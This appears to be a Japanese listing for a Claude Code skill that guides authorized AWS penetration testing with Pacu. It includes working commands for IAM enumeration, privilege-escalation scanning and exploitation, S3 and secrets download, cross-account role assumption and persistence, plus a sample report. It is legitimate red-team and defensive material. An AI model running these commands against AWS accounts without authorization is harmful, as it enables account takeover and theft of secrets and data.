performing-cloud-penetration-testing-with-pacu について
Pacuを使う、許可を得たAWSペネトレーションテスト向けの手順スキルです。IAMの調査、権限昇格、データアクセス、横展開、検知の確認を扱い、範囲設定と後片付けも重視します。
主な機能
- 01IAMユーザー・ロール・ポリシーの列挙
- 02権限昇格経路のスキャン
- 03データアクセスと横展開の評価
- 04GuardDutyの検出結果の確認
活用シーン
- 01IAM権限設定の検証
- 02漏えい認証情報の影響の模擬
- 03AWSレッドチーム演習の実施
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-cloud-penetration-testing-with-pacuインストール後、Claude Code で/performing-cloud-penetration-testing-with-pacuを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
Pacu を使用したクラウド侵入テスト
使用する場面
- AWS 環境で許可を得た侵入テストを実施する場合
- IAM ポリシー、SCP、アクセス許可境界の有効性を検証する場合
- 侵害された AWS 認証情報による影響範囲を評価する場合
- GuardDuty、Security Hub、カスタムアラートの検知能力をテストする場合
- AWS クラウドインフラストラクチャを対象としたレッドチーム演習を構築する場合
以下の目的では使用しないでください:許可を得ていない AWS アカウントのテスト、AWS インフラストラクチャ自体のテスト(共有責任モデルの対象)、AWS の承認を得ていない DDoS 攻撃や大量トラフィック攻撃、または明示的な許可と緊急時の手順を定めずに本番アカウントをテストすること。
前提条件
- AWS アカウント所有者からの書面による許可、および定義済みのスコープと作業規則
- Pacu v1.5+ のインストール(
pip install pacu) - 初期権限を制限したテスト用 AWS 認証情報(認証情報が侵害されたシナリオを想定)
- Pacu の全アクティビティを記録し、作業後に確認できるようにする CloudTrail ロギングの有効化
- Pacu のアクティビティの検知を検証するための GuardDuty の有効化
- 緊急連絡先とロールバック手順の文書化
ワークフロー
Step 1: Pacu セッションの初期化と認証情報の設定
テスト用認証情報で Pacu セッションをセットアップし、作業のスコープを定義します。
# Install Pacu
pip install pacu
# Start Pacu
pacu
# Create a new session for the engagement
Pacu > set_keys --key-alias pentest-target
# Enter Access Key ID: AKIA...
# Enter Secret Access Key: ...
# Verify identity
Pacu > whoami
# Review available modules
Pacu > list
Pacu > search iam
Pacu > search ec2
Pacu > search s3
Step 2: IAM 設定の列挙
IAM 列挙モジュールを実行し、ユーザー、ロール、ポリシー、グループメンバーシップを把握します。
# Comprehensive IAM enumeration
Pacu > run iam__enum_users_roles_policies_groups
# Enumerate detailed permissions for the current principal
Pacu > run iam__enum_permissions
# Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails)
Pacu > run iam__get_credential_report
# Enumerate role trust policies for cross-account access
Pacu > run iam__enum_roles
# Check current session data
Pacu > data iam
Step 3: 権限昇格経路のスキャン
Pacu の権限昇格スキャナーを使用して、悪用可能なすべての昇格経路を特定します。
# Run the privilege escalation scanner
Pacu > run iam__privesc_scan
# The scanner tests for 21+ escalation methods:
# Method 1: iam:CreatePolicyVersion
# Method 2: iam:SetDefaultPolicyVersion
# Method 3: iam:PassRole + ec2:RunInstances
# Method 4: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
# Method 5: iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping
# Method 6: iam:PassRole + glue:CreateDevEndpoint
# Method 7: iam:PassRole + cloudformation:CreateStack
# Method 8: iam:PassRole + datapipeline:CreatePipeline
# Method 9: iam:CreateAccessKey
# Method 10: iam:CreateLoginProfile
# Method 11: iam:UpdateLoginProfile
# Method 12: iam:AttachUserPolicy
# Method 13: iam:AttachGroupPolicy
# Method 14: iam:AttachRolePolicy
# Method 15: iam:PutUserPolicy
# Method 16: iam:PutGroupPolicy
# Method 17: iam:PutRolePolicy
# Method 18: iam:AddUserToGroup
# Method 19: iam:UpdateAssumeRolePolicy
# Method 20: sts:AssumeRole
# Method 21: lambda:UpdateFunctionCode
# If escalation paths found, attempt exploitation
Pacu > run iam__privesc_scan --escalate
Step 4: データアクセスの列挙とテスト
S3、DynamoDB、RDS、Secrets Manager など、アクセス可能なデータストアを検出します。
# Enumerate S3 buckets
Pacu > run s3__bucket_finder
# Download S3 bucket data for analysis
Pacu > run s3__download_bucket --bucket target-bucket --dl-names
# Enumerate EC2 instances and extract user data
Pacu > run ec2__enum
Pacu > run ec2__download_userdata
# Enumerate Lambda functions and check for secrets in environment variables
Pacu > run lambda__enum
# Enumerate Secrets Manager
Pacu > run secretsmanager__enum
# Enumerate SSM parameters (often contain secrets)
Pacu > run ssm__download_parameters
# Check for exposed EBS snapshots
Pacu > run ebs__enum_snapshots_unauth
Step 5: 横方向の移動と永続化のテスト
アカウント間アクセス、サービスの悪用、永続化の仕組みを評価します。
# Test cross-account role assumption
Pacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role/CrossAccountRole
# Enumerate Lambda for code execution opportunities
Pacu > run lambda__enum
# If lambda:UpdateFunctionCode permission exists, could inject code
# Test EC2 instance connect for lateral movement
Pacu > run ec2__enum
# Check for instances with instance profiles that have broader permissions
# Check for CodeBuild projects (potential credential access)
Pacu > run codebuild__enum
# Enumerate ECS/Fargate for container-based lateral movement
Pacu > run ecs__enum
# Export all discovered data
Pacu > data all
Step 6: 検知の検証とレポートの作成
セキュリティ制御がテストアクティビティを検知したか確認し、調査結果をまとめます。
# Check GuardDuty findings generated during testing
aws guardduty list-findings \
--detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
--finding-criteria '{
"Criterion": {
"updatedAt": {"GreaterThanOrEqual": ENGAGEMENT_START_EPOCH}
}
}' --output json
# Check Security Hub findings
aws securityhub get-findings \
--filters '{
"CreatedAt": [{"Start": "ENGAGEMENT_START_ISO", "End": "ENGAGEMENT_END_ISO"}]
}'
# Export Pacu session data for reporting
Pacu > export_keys --all
Pacu > data all > pacu-session-export.json
# Clean up any test artifacts created during assessment
aws iam delete-user --user-name pacu-test-user 2>/dev/null
aws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>/dev/null
主な概念
| 用語 | 定義 |
|---|---|
| Pacu | Rhino Security Labs が保守するオープンソースの AWS エクスプロイトフレームワークです。許可を得た侵入テスト向けに、モジュール式の攻撃機能を提供します。 |
| 権限昇格スキャン | IAM ポリシーを自動分析し、制限されたアクセス権限から管理者権限へ昇格する既知の手法を特定します。 |
| iam:PassRole | プリンシパルが AWS サービスにロールを割り当てることを許可する重要な IAM アクションです。Lambda、EC2、Glue を介した間接的な権限昇格を可能にします。 |
| アカウント間のロール引き受け | 信頼ポリシーの設定を通じて sts:AssumeRole を使用し、別の AWS アカウントの一時的な認証情報を取得することです。 |
| 作業規則 | 侵入テストの作業範囲、手法、時期、境界を定めた文書化済みの合意です。 |
| 侵害後の活動 | 初期アクセス後に影響を示すために実施する活動です。データアクセス、横方向の移動、永続化の確立などが含まれます。 |
ツールとシステム
- Pacu:列挙、権限昇格、永続化、データ流出に対応する50以上のモジュールを備えた AWS エクスプロイトフレームワーク
- CloudFox:攻撃者の視点から攻撃経路を特定する AWS 列挙ツール
- Principal Mapper:権限昇格経路を視覚化する IAM 権限昇格グラフ分析ツール
- ScoutSuite:テスト前に設定ミスを特定するマルチクラウドセキュリティ評価ツール
- AWS CloudTrail:作業中の Pacu の全アクティビティを記録する監査ログ
よくあるシナリオ
シナリオ:侵害された開発者の認証情報を起点とするレッドチーム評価
コンテキスト:レッドチーム演習では、攻撃者が漏えいしたリポジトリから開発者の AWS アクセスキーを入手したシナリオをシミュレートします。この時点から達成できる最大の影響を特定することが目標です。
アプローチ:
- 侵害された認証情報を使用して Pacu を初期化し、
whoamiを実行して本人確認します iam__enum_permissionsを実行して、開発者に実効的に付与されている権限をマッピングしますiam__privesc_scanを実行し、開発者から管理者への権限昇格経路を特定します- 開発者が
iam:PassRole+lambda:CreateFunctionを呼び出し、管理者ロールを持つ Lambda を作成できることを確認します - この権限昇格を悪用して、管理者レベルの一時認証情報を取得します
- S3 バケットを列挙し、機密データをダウンロードして、Secrets Manager にアクセスします
- GuardDuty が権限昇格やデータアクセスのアクティビティを検知したかどうかを確認します
- すべてのテスト用アーティファクトをクリーンアップし、攻撃チェーン全体を記録します
注意点:Pacu のモジュールは目立つことがあり、短時間に多数の API 呼び出しを発生させる可能性があります。GuardDuty は、テスターの IP から Recon:IAMUser/MaliciousIPCaller の検出結果を生成する場合があります。テスト用 IP を許可リストに登録するか、テストと実際の攻撃を区別できる明確な連絡手段を確立するため、SOC チームと調整してください。テスト後は、永続化のためのアーティファクトを必ずクリーンアップしてください。
出力形式
AWS Penetration Test Report (Pacu)
=====================================
Target Account: 123456789012
Engagement Period: 2026-02-20 to 2026-02-23
Starting Credentials: Developer role (read-only S3, Lambda invoke)
Authorization: Signed ROE document #PT-2026-015
ATTACK PATH SUMMARY:
Starting access: S3 read-only, Lambda invoke
Maximum access achieved: AdministratorAccess (full account compromise)
Time to admin: 47 minutes
Detection by GuardDuty: Yes (after 12 minutes)
Detection by Security Hub: Yes (after 18 minutes)
SOC response time: 45 minutes (missed the escalation window)
PACU MODULES EXECUTED:
iam__enum_users_roles_policies_groups: SUCCESS
iam__enum_permissions: SUCCESS
iam__privesc_scan: 3 escalation paths found
s3__download_bucket: 4 buckets accessed
lambda__enum: 12 functions enumerated
secretsmanager__enum: 8 secrets retrieved
ESCALATION PATHS EXPLOITED:
[1] iam:PassRole + lambda:CreateFunction -> AdminRole (CRITICAL)
[2] sts:AssumeRole -> CrossAccountProdRole (HIGH)
[3] iam:CreatePolicyVersion on dev-policy (CRITICAL)
DATA ACCESSED:
S3 objects downloaded: 1,247 files (2.3 GB)
Secrets Manager values: 8 secrets including DB credentials
SSM parameters: 23 parameters including API keys
DETECTION RESULTS:
GuardDuty findings generated: 7
Security Hub findings: 12
Custom CloudWatch alarms triggered: 3
SOC acknowledged: Yes (45 min response)
RECOMMENDATIONS:
1. Apply permission boundaries to all developer roles
2. Remove iam:PassRole from non-admin principals
3. Reduce SOC response time to < 15 minutes for IAM escalation alerts
4. Implement SCP blocking iam:CreatePolicyVersion in non-admin OUs